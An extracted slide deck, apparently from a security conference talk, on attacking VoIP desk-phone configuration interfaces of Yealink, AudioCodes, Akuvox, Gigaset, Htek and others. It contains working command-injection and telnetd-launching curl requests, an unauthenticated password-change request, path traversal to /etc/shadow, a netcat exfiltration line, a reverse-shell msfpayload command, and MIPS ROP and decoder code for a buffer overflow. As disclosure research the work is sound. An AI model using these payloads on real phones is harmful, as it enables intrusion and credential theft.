SlideShare a Scribd company logo
1 of 139
Download to read offline
I‘m on Your Phone, Listening –
Attacking VoIP Configuration
Interfaces
Stephan Huber | Fraunhofer SIT, Germany
Philipp Roskosch | Fraunhofer SIT, Germany
About us
Stephan
Security Researcher @Testlab
Mobile Security (Fraunhofer SIT)
Code Analysis Tool development
IOT Stuff
Founder of @TeamSIK
2
About us
Philipp
Security Researcher & Pentester
@Secure Software Engineering
(Fraunhofer SIT)
Static Code Analysis
IoT Vuln Detection Research
Day 1 Member of @TeamSIK
3
TODO
4
Alexander Traud
Acknowledgements
Beer Announcement
5
Past Projects
6
Def Con 26: Tracker Apps
DeF Con 25: Password Manager Apps
Def Con 24: Anti Virus Apps
Blackhat EU 2015: BAAS Security
https://team-sik.org
What’s next?
7
Wide distribution
Complex software
Readily accessible
The Target Devices
8
Perfect World
9
Internet
Guest Network
Workstation Network
VoIP Phone Network
Real World
10
Internet
Network
VoIP Phones
Guests
Workstations
Publicly reachable!
Agenda
11
Background
IoT Hacking 101
Findings
DOS, Weak Crypto, XSS, CSRF
Command Injection
Authentication Bypass
Memory Corruption
Recommendations
Responsible disc. experiences
Summary
12
Background
Architecture and Attack Targets
ARM/
MIPS
F
L
A
S
H
Linux OS
Kernel
Bootloader
13
Architecture and Attack Targets
ARM/
MIPS
F
L
A
S
H
Linux OS
Kernel
init uid:0
watchdog uid:0
sipd uid:0 • loads kernel modules/drivers
• spawn webserver
• launch scripts
• command interface
• …
(web)server uid:0
Bootloader • basic setup
• starts daemons
• …
• checks if daemons run
• …
14
Architecture and Attack Targets
ARM/
MIPS
F
L
A
S
H
Linux OS
Kernel
init uid:0
watchdog uid:0
sipd uid:0 • loads kernel modules/drivers
• spawn webserver
• launch scripts
• command interface
• …
(web)server uid:0
Bootloader • basic setup
• starts daemons
• …
• checks if daemons run
• …
15
16
Methodology
Abstract Methodology
17
Webserver is
Running
Web Pentesting
Static Analysis
Dynamic Analysis
Setup VoIP Phone
Attach HTTP Proxy
Extract Firmware
Emulation
Abstract Methodology
18
Inject dynamic analysis tools
Webserver is
Running
Web Pentesting
Static Analysis
Dynamic Analysis
Setup VoIP Phone
Attach HTTP Proxy
Extract Firmware
Emulation
Toolchain
19
ZAP, Burp Suite
IDA Pro, Ghidra
binwalk, yara
gdb, gdbserver, strace
ropper, IDA rop Plugin
mutiny, boofuzz, …
qemu
Webserver is
Running
Web Pentesting
Static Analysis
Dynamic Analysis
Setup VoIP Phone
Attach HTTP Proxy
Extract Firmware
Emulation
20
Firmware Access
Firmware Access for Software People
Out of scope is desoldering of chips and complex hardware setup
and probes
https://blog.quarkslab.com/flash-dumping-part-i.html
21
https://hackaday.com/wp-content/uploads/2017/01/dash-mitm.png
Firmware Access for Software People
Download the firmware from
vendor/manufacturer
Get image from update traffic
Get image or files from the device
22
• Only updates, diffs or patches available
• Encrypted images
• No update server, only manual
HW for Software People we used
JTAGulator* by Joe Grand (presented at DC 21)
Find JTAG and UART interfaces
UART pass through (flexible voltage)
Bus Pirate
UART, SPI, JTAG debugging
mArt UART adapter**
Raspberry Pi
…
* http://www.grandideastudio.com/jtagulator/
** https://uart-adapter.com/
23
Examples: SPI
Bus
Pirate
Flash Chip Description
CS #1 CS Chip Select
MISO #2 DO (IO1) Master In, Slave Out
3V3 #3 WP (IO2) Write Protect
GND #4 GND Ground
MOSI #5 DI (IO0) Master Out, Slave In
CLK #6 CLK SPI Clock
3V3 #7 HOLD (IO3) Hold
3V3 #8 VCC Supply
Find Datasheet
Winbond W25Q64JV
Chip on Device Connect Bus Pirate
24
Connected
Akuvox R50 VoIP Phone with Bus Pirate connected
25
Dump it
Flashrom* chip detection:
Flashrom dump:
File extraction :
Multiple dumps, output variation:
$ flashrom -p buspirate_spi:dev=/dev/ttyUSB0
* https://github.com/flashrom/flashrom
$ flashrom -p buspirate_spi:dev=/dev/ttyUSB0 -c W25Q64.V -r firmw2.bin
$ binwalk -eM firmw.bin
Filename MD5
firmw.bin 3840d51b37fe69e5ac7336fe0a312dd8
firmw2.bin 403ae93e72b1f16712dd25a7010647d6
26
Examples: UART
Fanvil X6 UART connection
27
Examples: Bootloader
UART bootloader via serial console (minicom, screen, putty, …) :
28
help
info
reboot
run [app addr] [entry addr]
r [addr]
w [addr] [val]
d [addr] <len>
resetcfg
…
Bootloader Menu:
Dump flash memory:
d 0x81000000 7700000
Examples: UART
UART root shell:
29
Use Vulnerability
Command injection starts telnet:
Root shell without authentication:
30
;busybox telnetd &#
Connected to 10.148.207.126.
Escape character is '^]'.
DSPG v1.2.4-rc2 OBiPhone
OBiPhone login: root
root@OBiPhone:~# id
uid=0(root) gid=0(root) groups=0(root)
Dump with Console
31
Tftp client part of busybox and/or used for firmware update
Simple tftpserver* required
Download - load file onto device:
tftp -g -r revshell 10.148.207.102 6969
Upload - get file from device:
tftp -p -r /dev/mtdblock0 10.148.207.102 6969
Netcat, if part of busybox pipe data to listener:
Listener, receiver of data:
nc –lp 4444 | tar x
Sender, data source:
busybox tar cf - /dev/mtdblock0 | busybox nc 10.148.207.227
Other clients, like wget, webform, scp, etc…
* https://github.com/sirMackk/py3tftp
32
Emulation
Emulation Approaches
CPU emulation (e.g. Unicorn)
User mode emulation
System mode emulation (third party OS)
System mode emulation with original file system
System mode emulation including original kernel modules
Full system emulation (including unknown peripherals and
interfaces)
33
Emulation Approaches
CPU emulation (e.g. Unicorn)
User mode emulation
System mode emulation (third party OS)
System mode emulation with original file system
System mode emulation including original kernel modules
Full system emulation (including unknown peripherals and
interfaces)
34
Firmware Emulation
Emulator (QEMU ARM/MIPS)
Kernel
Linux FS
35
Firmware Emulation
UI
API
Process
Firmware FS
Emulator (QEMU ARM/MIPS)
Kernel
chrootenvironment
Linux FS
36
Firmware Emulation
UI
API
Process
Firmware FS
Emulator (QEMU ARM/MIPS)
Kernel
chrootenvironment
gdb
strace
Analyzing Tools
Linux FS
dynamic hooks Value spoofing/runtime patching:
• Hook function
• Modify runtime values
• Memory dumps
• …
37
Example gdb Patch Script
38
gdb script: #enable non stop mode
set target-async on
set non-stop off
#attach
target remote localhost:2345
#change fork mode
set follow-fork-mode parent
show follow-fork-mode
#first continue
c
#first breakpoint at printf b1
br *0x1a1bc
#3rd continue ssl armv7probe
c
…
#change sighandler (11 segfault)
set $r0=8
# continue for break1a
c
…
gdb mode change
“Automatic” continue or break
Change values at runtime
39
Findings !
DoS
40
Multiple ways of DoSing VoIP phones!
Limited CPU/ memory resources
Parsing problems
Bad TCP/IP Stack implementation
Memory corruptions, usage of “bad C” functions
…
DoS – Super Simple I
41
Extensive nmap scan is too much for Mitel 6865i
nmap -p 1-65535 -T4 -A my.voip.phone
DoS – Assert Instruction
43
Cisco IP Phone 7821
curl 'http://10.148.207.42/basic"/init.json' -H …
DoS – Assert Instruction
44
Cisco IP Phone 7821
curl 'http://10.148.207.42/basic"/init.json' -H …
DoS – Assert Instruction
45
Cisco IP Phone 7821
curl 'http://10.148.207.42/basic"/init.json' -H …
[..]
voice-http:app_get:"/ init.json
spr_voip: src/http_get_pal.c:374: http_gen_json: Assertion `core_uri[0] == '/'' failed.
[..]
restart_mgr-connection 18 from spr_voip closed
restart_mgr-processing kill-list for spr_voip
restart_mgr-killing ms
[..]
DoS – CVE-2017-3731 – OpenSSL
46
Web interface provides login via https:// OpenSSL
Malformed packet causes out-of-bounds read
OpenSSL Version 1.0.2 and 1.1.0
Results in different behavior
Fanvil X1P, Firmware 2.10.0.6586, Phone reboots
Mitel, Firmware 5.1.0.1024, Phone reboots
ALE, Firmware 1.30.20, Webserver crashes
Samsung, Firmware 01.62, Webserver restarts
Bad crypto stuff
47
Bad Crypto Stuff !
Bad Crypto
48
Config File Export in Akuvox R50
Credentials are encrypted ?
[ LOGIN ]
User =admin
Password =D/6SxcRQwsgPwVwdfIiQhg+zh8fqlvfBkNY29aSkxw+CwqItFbeLaPG7tx0D
[ WEB_LOGIN ] User =admin
Password =xzahQYJBxcgPwVwdfJVoYTfCwiyaoosyF5BAHQ8zleoVwcdBKPXCx0aQxIaJ
Type =admin
User02 =user
Password02 =8cFhHfcPCJIzUP58xJpGNsHHu1C3xAjHt4ReQmFA91DqF0Ayw4c3QEbFhDIo
Bad Crypto
49
Config File Export in Akuvox R50
Credentials are encrypted, for real
$ echo -n "xzahQYJBxcgPwVwdfJVoYTfCwiyaoosyF5BAHQ8zleoVwcdBKPXCx0aQxIaJ"
| base64 -d | xxd
00000000: c736 a141 8241 c5c8 0fc1 5c1d 7c95 6861 .6.A.A.....|.ha
00000010: 37c2 c22c 9aa2 8b32 1790 401d 0f33 95ea 7..,...2..@..3..
00000020: 15c1 c741 28f5 c2c7 4690 c486 89 ...A(...F....
Bad Crypto
50
FW Extraction -> Binary investigation
int phone_aes_decrypt(char *key, char *decoded_str, int size, char *result) {
}
Bad Crypto
51
FW Extraction -> Binary investigation
int phone_aes_decrypt(char *key, char *decoded_str, int size, char *result) {
}
Bad Crypto
52
FW Extraction -> Binary investigation
int phone_aes_decrypt(char *key, char *decoded_str, int size, char *result) {
int i;
int j;
int k;
unsigned char tmp;
if ( !key || !decoded_str || !result || !size )
return -1;
for (i = 0; i < size; i++) {
decoded_str[i] = box_decr[(int)result[i]];
}
for (j = 0; *key % size > j; j++) {
printf("j=%dn",j);
tmp = *decoded_str;
for (k = 0; k < size - 1; k++) {
decoded_str[k] = decoded_str[k + 1];
}
decoded_str[size - 1] = tmp;
}
return 0;
}
Self-implemented
Simple substitution, NO AES
Bad Crypto
53
FW Extraction -> Binary investigation
int phone_aes_decrypt(char *key, char *decoded_str, int size, char *result) {
int i;
int j;
int k;
unsigned char tmp;
if ( !key || !decoded_str || !result || !size )
return -1;
for (i = 0; i < size; i++) {
decoded_str[i] = box_decr[(int)result[i]];
}
for (j = 0; *key % size > j; j++) {
printf("j=%dn",j);
tmp = *decoded_str;
for (k = 0; k < size - 1; k++) {
decoded_str[k] = decoded_str[k + 1];
}
decoded_str[size - 1] = tmp;
}
return 0;
}
Self-implemented
Simple substitution
Hardcoded Key in FW
“akuvox“
54
WEB ATTACKS
AudioCodes 405HD
My favorite contact name: <script>alert("Xss");</script>
Web Based Findings – XSS
55
AudioCodes 405HD
My favorite contact name: <script>alert("Xss");</script>
Web Based Findings – XSS
56
Web Based Findings – Gigaset Maxwell Basic
58
Information leak
Using the
Web-Interface
Traffic Analysis
Web Based Findings – Gigaset Maxwell Basic
59
GET http://gigaset.voip/Parameters
Using the
Web-Interface
Traffic Analysis
return getCodeMess('session', 'admlog');
return getCodeMess('session', 'admerr');
Information leak
Web Based Findings – Gigaset Maxwell Basic
60
GET http://gigaset.voip/Parameters
Admin logged in?
Yes
No
Using the
Web-Interface
Traffic Analysis
return getCodeMess('session', 'admlog');
return getCodeMess('session', 'admerr');
Information leak
Information leak
Web Based Findings – Gigaset Maxwell Basic
61
Admin logged in?
Yes
No
Using the
Web-Interface
Traffic Analysis
¯_(ツ)_/¯ Not that bad, right ?
Web Based Findings – Gigaset Maxwell Basic
62
function sessInfo()
{
$token = GetSessionToken();
$session = new sessionmanager();
if ($session->getCurrentLoginUser() == USER_ADMIN
&& $token != $session->getToken())
{
return getCodeMess('session', 'admlog');
}
else
{
return getCodeMess('session', 'sesserr');
}
}
Web Based Findings – Gigaset Maxwell Basic
63
Admin
Logging in Generate Session Token
Session Token
DB
Web Based Findings – Gigaset Maxwell Basic
64
Logging in Generate Session Token
Session Token
DB
Send invalid
Session Token
Admin
Web Based Findings – Gigaset Maxwell Basic
65
Logging in Generate Session Token
Session Token
DB
Send invalid
Session Token
if ($session->getCurrentLoginUser() == USER_ADMIN
&& $token != $session->getToken())
Admin
Digging deeper
Web Based Findings – Gigaset Maxwell Basic
66
Firmware
Extraction
php file
investigation
function POST_State()
{
$session = new sessionmanager;
$token = GetSessionToken();
$userID = $session->verifySession($token);
if ($userID)
{
// Do Something here
}
}
Digging deeper
Web Based Findings – Gigaset Maxwell Basic
67
Firmware
Extraction
php file
investigation
Digging deeper
Web Based Findings – Gigaset Maxwell Basic
68
Firmware
Extraction
php file
investigation
function POST_State()
{
$session = new sessionmanager;
$token = GetSessionToken();
$userID = $session->verifySession($token);
if ($userID)
{
// Do Something here
}
}
Digging deeper
Web Based Findings – Gigaset Maxwell Basic
69
Firmware
Extraction
php file
investigation
function POST_State()
{
$session = new sessionmanager;
$token = GetSessionToken();
$userID = $session->verifySession($token);
if ($userID)
{
// Do Something here
}
}
Digging even deeper
Web Based Findings – Gigaset Maxwell Basic
70
Firmware
Extraction
php file
investigation
function POST_Parameters()
{
$session = new sessionmanager;
$token = GetSessionToken();
$userID = $session->verifySession($token);
$nvm = new settingscontroller();
$req = array();
$reqarr = json_decode(file_get_contents('php://input'));
foreach ($reqarr as $key => $value)
{
$req[$key] = $value;
}
$nvm->settingsCheckAccessParams($req);
if ($nvm->settingsSaveMultiValue($req) == true)
{
Digging even deeper
Web Based Findings – Gigaset Maxwell Basic
71
Firmware
Extraction
php file
investigation
function POST_Parameters()
{
$session = new sessionmanager;
$token = GetSessionToken();
$userID = $session->verifySession($token);
$nvm = new settingscontroller();
$req = array();
$reqarr = json_decode(file_get_contents('php://input'));
foreach ($reqarr as $key => $value)
{
$req[$key] = $value;
}
$nvm->settingsCheckAccessParams($req);
if ($nvm->settingsSaveMultiValue($req) == true)
{
Digging even deeper
Web Based Findings – Gigaset Maxwell Basic
72
Firmware
Extraction
php file
investigation
Returns 0 as attacker does not know current
session token
function POST_Parameters()
{
$session = new sessionmanager;
$token = GetSessionToken();
$userID = $session->verifySession($token);
$nvm = new settingscontroller();
$req = array();
$reqarr = json_decode(file_get_contents('php://input'));
foreach ($reqarr as $key => $value)
{
$req[$key] = $value;
}
$nvm->settingsCheckAccessParams($req);
if ($nvm->settingsSaveMultiValue($req) == true)
{
Digging even deeper
Web Based Findings – Gigaset Maxwell Basic
73
Firmware
Extraction
php file
investigation
Returns 0 as attacker does not know current
session token
Change it anyway
Demo
74
Demo Time
Path Traversal
75
GET http://voip.phone/cmd.bin?file=defcon.txt
Send content of: defcon.txt
Path Traversal
76
GET http://voip.phone/cmd.bin?file=defcon.txt
Send content of: defcon.txt
GET http://voip.phone/cmd.bin?file=
../../../../../etc/passwd
Send content of: ../../../../../etc/passwd
Send content of: /etc/passwd
Path Traversal - Yealink T41S
77
POST http://10.148.207.216/servlet?m=mod_data&p=network-diagnosis
&q=getinfo&Rajax=0.5174477889842097 HTTP/1.1
Proxy-Connection: keep-alive
Content-Length: 53
Origin: http://10.148.207.216
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/64.0.3282.24 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://10.148.207.216/servlet?m=mod_data&p=network-diagnosis&q=load
Accept-Language: en-gb
Cookie: JSESSIONID=3b73d6390697f50
Host: 10.148.207.216
file=../../../../../../../etc/shadow&token=42423833540d4e990
Path Traversal - Yealink T41S
78
Response:
<html>
<body>
<div id="_RES_INFO_">
root:$1$.jKlhz1B$/Nmgj2klrsZk3cYc1BLUR/:11876:0:99999:7:::
toor:$1$5sa7xxqo$eV4t7Nb1tPqjOWT1s3/ks1:11876:0:99999:7:::
</div>
</body>
</html>
Instead of network diagnostics: /etc/shadow
Ringtone Code Injection
79
Ringtone file upload provides an attack surface for uploading “code” to
execute
Path traversal vulnerability would allow to write to arbitrary folder and
overwrite a privileged script
Problem, script is not an audio file, how to bypass content verification ?
Filename: ../../../etc/init.d/OperaEnv.sh
Ringtone Code Injection
80
Ringtone file upload provides an attack surface for uploading “code” to
execute
Path traversal vulnerability would allow to write to arbitrary folder and
overwrite a privileged script
Problem, script is not an audio file, how to bypass content verification ?
Filename: ../../../etc/init.d/OperaEnv.sh
Ringtone Code Injection
81
Software verifies file, but only header
Ringtone Code Injection
82
Software verifies file, but only header
MThd..........MTrk...3...
...2009.11.01...
......@.e...T.!......Q....../.
#!/bin/sh
echo "New Script for changing password!"
echo "Sourcing Opera Environment...“
…
MIDI file header each line „invalid command“
script code
Ringtone Code Injection
83
Software verifies file, but only header
Whole file will be interpreted as script, after passing header
verification!
MThd..........MTrk...3...
...2009.11.01...
......@.e...T.!......Q....../.
#!/bin/sh
echo "New Script for changing password!"
echo "Sourcing Opera Environment...“
…
MIDI file header each line „invalid command“
script code
84
Backdoor ?!
Running Services
85
Portscan of Akuvox device:
Starting Nmap 7.01 ( https://nmap.org ) at 2019-07-26 11:20 CEST
Initiating Ping Scan at 11:20Scanning 10.148.207.221 [2 ports]
...
Host is up (0.014s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
23/tcp open telnet
80/tcp open http
443/tcp open https
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.00 seconds
huber@pc-huberlap:~$
Telnet running
Problem!
86
The running telnet service can not be turned off !
The firmware image is not public available,
Problem!
87
The running telnet service can not be turned off !
The firmware image is not public available, but we dumped it
Hashes are DES crypt protected max pass length = 8
On my old GPU it took around 30 days to crack it
huber@pc-huber:/akuvox/squashfs-root/etc$ cat shadow
root:pVjvZpycBR0mI:10957:0:99999:7:::
admin:UCX0aARNR9jK6:10957:0:99999:7:::
88
Command INjection
Command Injection
89
IP:
xWeb Interface
Ping
Command Injection
90
…
sprintf(buffer, "ping %s -c 4", ip);
system(buffer);
…
POST:
Ip=127.0.0.1
IP:
xWeb Interface
Ping
127.0.0.1
Webserver
• Server app
• CGI script
…
127.0.0.1
Command Injection
91
…
sprintf(buffer, "ping %s -c 4", ip);
system(buffer);
…
POST:
Ip=127.0.0.1
system("ping 127.0.0.1 –c 4");
// do four pings
IP:
xWeb Interface
Ping
127.0.0.1
Webserver
• Server app
• CGI script
…
127.0.0.1
Command Injection
92
IP:
xWeb Interface
Ping
127.0.0.1 –c 0; ls ;#
127.0.0.1 –c 0; ls ;#
ping counter
exec ls
start comment
Command Injection
93
…
sprintf(buffer, "ping %s -c 4", ip);
system(buffer);
…
POST:
Ip=127.0.0.1 –c 0; ls ;#
IP:
xWeb Interface
Ping
127.0.0.1 –c 0; ls ;#
Webserver
• Server app
• CGI script
…
127.0.0.1 –c 0; ls ;#
127.0.0.1 –c 0; ls ;#
ping counter
exec ls
start comment
Command Injection
94
…
sprintf(buffer, "ping %s -c 4", ip);
system(buffer);
…
POST:
Ip=127.0.0.1 –c 0; ls ;#
system("ping 127.0.0.1 –c 0; ls ;# –c 4");
// do zero ping, exec ls command, comment
IP:
xWeb Interface
Ping
127.0.0.1 –c 0; ls ;#
Webserver
• Server app
• CGI script
…
127.0.0.1 –c 0; ls ;#
127.0.0.1 –c 0; ls ;#
ping counter
exec ls
start comment
Command Injection
95
Command injection in AudioCodes 405HD device:
curl -i -s -k -X 'GET' 
-H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) …
-H 'Accept: */*' -H 'Accept-Language: en-GB,en;q=0.5'
-H 'Referer: http://10.148.207.249/mainform.cgi/Monitoring.htm'
-H 'Authorization: Basic YWRtaW46c3VwZXJwYXNz' –H 'Connection: keep-alive' -H '' 
'http://10.148.207.249/command.cgi?ping%20-c%204%20127.0.0.1;/usr/sbin/telnetd'
idea, start telnetd
Command Injection
96
Command injection in AudioCodes 405HD device:
curl -i -s -k -X 'GET' 
-H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) …
-H 'Accept: */*' -H 'Accept-Language: en-GB,en;q=0.5'
-H 'Referer: http://10.148.207.249/mainform.cgi/Monitoring.htm'
-H 'Authorization: Basic YWRtaW46c3VwZXJwYXNz' –H 'Connection: keep-alive' -H '' 
'http://10.148.207.249/command.cgi?ping%20-c%204%20127.0.0.1;/usr/sbin/telnetd'
idea, start telnetd
Attacker does not know credentials
Command Injection
97
Command injection in AudioCodes 405HD device:
Can we bypass the authorization?
curl -i -s -k -X 'GET' 
-H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) …
-H 'Accept: */*' -H 'Accept-Language: en-GB,en;q=0.5'
-H 'Referer: http://10.148.207.249/mainform.cgi/Monitoring.htm'
-H 'Authorization: Basic YWRtaW46c3VwZXJwYXNz' –H 'Connection: keep-alive' -H '' 
'http://10.148.207.249/command.cgi?ping%20-c%204%20127.0.0.1;/usr/sbin/telnetd'
idea, start telnetd
Attacker does not know credentials
Command Injection
98
Command injection in AudioCodes 405HD device:
Can we bypass the authorization?
curl -i -s -k -X 'GET' 
-H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) …
-H 'Accept: */*' -H 'Accept-Language: en-GB,en;q=0.5'
-H 'Referer: http://10.148.207.249/mainform.cgi/Monitoring.htm'
-H 'Authorization: Basic YWRtaW46c3VwZXJwYXNz' –H 'Connection: keep-alive' -H '' 
'http://10.148.207.249/command.cgi?ping%20-c%204%20127.0.0.1;/usr/sbin/telnetd'
idea, start telnetd
Attacker does not know credentials
NOPE !
Exploit for Auth Bypass
99
But look at “Change password” request:
curl -i -s -k -X
'POST'

-H 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0)
Gecko/20100101 Firefox/39.0'
-H 'Pragma: no-cache' -H 'Cache-Control: no-cache'
-H 'Content-Type: application/x-www-form-urlencoded' -H 'Content-Length: 33'
-H 'Referer:http://10.148.207.249/mainform.cgi/System_Auth.htm' -H '' 
--data-binary $'NADMIN=admin&NPASS=pass&NCPASS=pass' 
'http://10.148.207.249/mainform.cgi/System_Auth.htm'
Exploit for Auth Bypass
100
But look at “Change password” request:
NO Authorization header!
NO old password parameter!
curl -i -s -k -X
'POST'

-H 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0)
Gecko/20100101 Firefox/39.0'
-H 'Pragma: no-cache' -H 'Cache-Control: no-cache'
-H 'Content-Type: application/x-www-form-urlencoded' -H 'Content-Length: 33'
-H 'Referer:http://10.148.207.249/mainform.cgi/System_Auth.htm' -H '' 
--data-binary $'NADMIN=admin&NPASS=pass&NCPASS=pass' 
'http://10.148.207.249/mainform.cgi/System_Auth.htm'
Exploit for Auth Bypass
101
But look at “Change password” request:
NO Authorization header!
NO old password parameter!
curl -i -s -k -X
'POST'

-H 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0)
Gecko/20100101 Firefox/39.0'
-H 'Pragma: no-cache' -H 'Cache-Control: no-cache'
-H 'Content-Type: application/x-www-form-urlencoded' -H 'Content-Length: 33'
-H 'Referer:http://10.148.207.249/mainform.cgi/System_Auth.htm' -H '' 
--data-binary $'NADMIN=admin&NPASS=pass&NCPASS=pass' 
'http://10.148.207.249/mainform.cgi/System_Auth.htm'
102
DEMODemo Time
Inside Outside
103
Internal attacker -> entry point
csrf
Open to internet -> Shodan map
Default creds
End technical part
Shit Happens !
Stack Based Buffer Overflow (MIPS)
104
Request changing password on Htek - UC902:
curl -i -s -k -X 'GET'
… -H 'Authorization: Basic YWRtaW46YWRtaW4=' –H … -H ''
'http://192.168.2.107/hl_web/cgi_command=setSecurityPasswortaaaabaaacaaadaaaeaaafaaagaaahaaaia
aajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabg'
Stack Based Buffer Overflow (MIPS)
105
Request changing password on Htek - UC902:
Internal code:
curl -i -s -k -X 'GET'
… -H 'Authorization: Basic YWRtaW46YWRtaW4=' –H … -H ''
'http://192.168.2.107/hl_web/cgi_command=setSecurityPasswortaaaabaaacaaadaaaeaaafaaagaaahaaaia
aajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabg'
handle_cgi_command(undefined4 param_1, undefined4 param_2, undefined4 param_3, char *cgi_param) {
char targetBuffer [32];
…
memset(targetBuffer,0,0x20);
iVar1 = strncmp(cgi_param, "/hl_web/cgi_command=", 0x14);
if (iVar1 == 0) {
CopyToCommandStr(targetBuffer, cgi_param + 0x14);
...
Stack Based Buffer Overflow (MIPS)
106
Request changing password on Htek - UC902:
Internal code:
curl -i -s -k -X 'GET'
… -H 'Authorization: Basic YWRtaW46YWRtaW4=' –H … -H ''
'http://192.168.2.107/hl_web/cgi_command=setSecurityPasswortaaaabaaacaaadaaaeaaafaaagaaahaaaia
aajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabg'
handle_cgi_command(undefined4 param_1, undefined4 param_2, undefined4 param_3, char *cgi_param) {
char targetBuffer [32];
…
memset(targetBuffer,0,0x20);
iVar1 = strncmp(cgi_param, "/hl_web/cgi_command=", 0x14);
if (iVar1 == 0) {
CopyToCommandStr(targetBuffer, cgi_param + 0x14);
...
Stack Based Buffer Overflow (MIPS)
107
handle_cgi_command(undefined4 param_1, undefined4 param_2, undefined4 param_3, char *cgi_param) {
char targetBuffer [32];
…
memset(targetBuffer,0,0x20);
iVar1 = strncmp(cgi_param, "/hl_web/cgi_command=", 0x14);
if (iVar1 == 0) {
CopyToCommandStr(targetBuffer, cgi_param + 0x14);
...
…
void CopyToCommandStr(char *target, char *input) {
char *local_target = target;
char *local_input = input ;
while ((*local_input != '(' && (*local_input != 0))) {
*local_target = *local_input;
local_target = local_target + 1;
local_input = local_input + 1;
}
return;
}
Stack Based Buffer Overflow (MIPS)
108
handle_cgi_command(undefined4 param_1, undefined4 param_2, undefined4 param_3, char *cgi_param) {
char targetBuffer [32];
…
memset(targetBuffer,0,0x20);
iVar1 = strncmp(cgi_param, "/hl_web/cgi_command=", 0x14);
if (iVar1 == 0) {
CopyToCommandStr(targetBuffer, cgi_param + 0x14);
...
…
void CopyToCommandStr(char *target, char *input) {
char *local_target = target;
char *local_input = input ;
while ((*local_input != '(' && (*local_input != 0))) {
*local_target = *local_input;
local_target = local_target + 1;
local_input = local_input + 1;
}
return;
}
stop criteria filling the buffer
Control $ra
109
------------------------------------------------------------------- registers ----
…
$s8 : 0x61616265 ("aabe"?)
$pc : 0x0080a9b4 -> 0x27bd00a8
$sp : 0x7cffb498 -> 0x00d89c48 -> 0x2a2a2a2a ("****"?)
…
$ra : 0x61616266 ("aabf"?)
$gp : 0x00e42900 -> 0x00000000
------------------------------------------------------------ code:mips:MIPS32 ----
…
-> 0x80a9b4 addiu sp, sp, 168
0x80a9b8 jr ra
0x80a9bc nop
…
---------------------------------------------------------------------------------------------
gef> x/60wx $sp
0x7cffb498: 0x00d89c48 0x7cffb4b4 0x00000000 0x00000000
…
0x7cffb528: 0x6161617a 0x61616262 0x61616263 0x61616264
0x7cffb538: 0x61616265 0x61616266 0x61616267 0xffffffff
…
gef>
we control
we control
jump to (return) address in register (we control)
stack
$s8 $ra
Exploit Development, Challenges
110
How to bypass NX protection, ASLR, …?
Exploit Development, Challenges
111
How to bypass NX protection, ASLR, …?
Generate shell code and put it onto the stack e.g.
gef> checksec
[+] checksec for '/tmp/gef/265//bin/voip'
Canary : No
NX : No
PIE : No
Fortify : No
RelRO : No
msfpayload linux/mipsbe/shell_reverse_tcp lport=4444 lhost=192.168.2.102
Exploit Development, Challenges
112
How to find the stack address with our shell code?
…
0x7ff22000 0x7ff37000 0x00000000 rwx [stack]
…
…
0x7fc58000 0x7fc6d000 0x00000000 rwx [stack]
…
vs.
Exploit Development, Challenges
113
How to find the stack address with our shell code?
Find gadgets in libc to load stack address into a register:
…
0x7ff22000 0x7ff37000 0x00000000 rwx [stack]
…
…
0x7fc58000 0x7fc6d000 0x00000000 rwx [stack]
…
vs.
x/4i 0x2AE3EEE8
0x2ae3eee8 <wcwidth+40>: addiu a0,sp,32
0x2ae3eeec <wcwidth+44>: lw ra,28(sp)
0x2ae3eef0 <wcwidth+48>: jr ra
0x2ae3eef4 <wcwidth+52>: addiu sp,sp,32
x/4i 0x2AE5B9BC
0x2ae5b9bc <xdr_free+12>: move t9,a0
0x2ae5b9c0 <xdr_free+16>: sw v0,24(sp)
0x2ae5b9c4 <xdr_free+20>: jalr t9
0x2ae5b9c8 <xdr_free+24>: addiu a0,sp,24
“write “ stack pointer + 32 to register $a0
jump to next gadget
move $a0 to $t9
jump to value in $t9 = $a0 = $sp + 32
Exploit Development, Challenges
114
How to handle bad chars?
0x00, 0x09, 0x0a, 0x0d, 0x20, 0x23, 0x28, 0x29, 0x5b, 0x5d, 0x2f2f
Exploit Development, Challenges
115
How to handle bad chars?
Write/use an encoder/encryption*:
0x00, 0x09, 0x0a, 0x0d, 0x20, 0x23, 0x28, 0x29, 0x5b, 0x5d, 0x2f2f
*https://www.vantagepoint.sg/papers/MIPS-BOF-LyonYang-PUBLIC-FINAL.pdf
# Load decimal value 99999999 into register $s2
li $s1, 2576980377
la $s2, 1000($sp) // Copy Stack Pointer Address + 1000 bytes into register $s2
addi $s2, $s2, -244 // Adjust Register $s2 (address location) by -244
lw $t2, -500($s2) // Get value located at register $s2 – 500 bytes and store into $t2
# XOR value stored at $t2 and $s1 and store it into register $v1
xor $v1, $t2, $s1
# Replace value back to stack ($s2 – 500) with new XORed value ($v1).
sw $v1, -500($s2)
Exploit Structure
116
Payload structure:
Padding AAA...A
Gadget 1 address $a0 = $sp +32
Gadget 2 address $t9 = $a0
jump to $t9
Decoder assembly xor with 99999999
Shellcode assembly Execute /bin/sh
modify code
Exploit Development, Another Challenges
117
Memory (Stack)
…
addi $a0, $t7, -3
addi $a1, $t7, -3
… Instruction Cache
…
addi $a0, $t7, -3
addi $a1, $t7, -3
…
Data Cache
…
addi $a0, $t7, 5
addi $a1, $t7, 5
…
Processor
Core
Exploit Development, Another Challenges
118
Memory (Stack)
…
addi $a0, $t7, -3
addi $a1, $t7, -3
… Instruction Cache
…
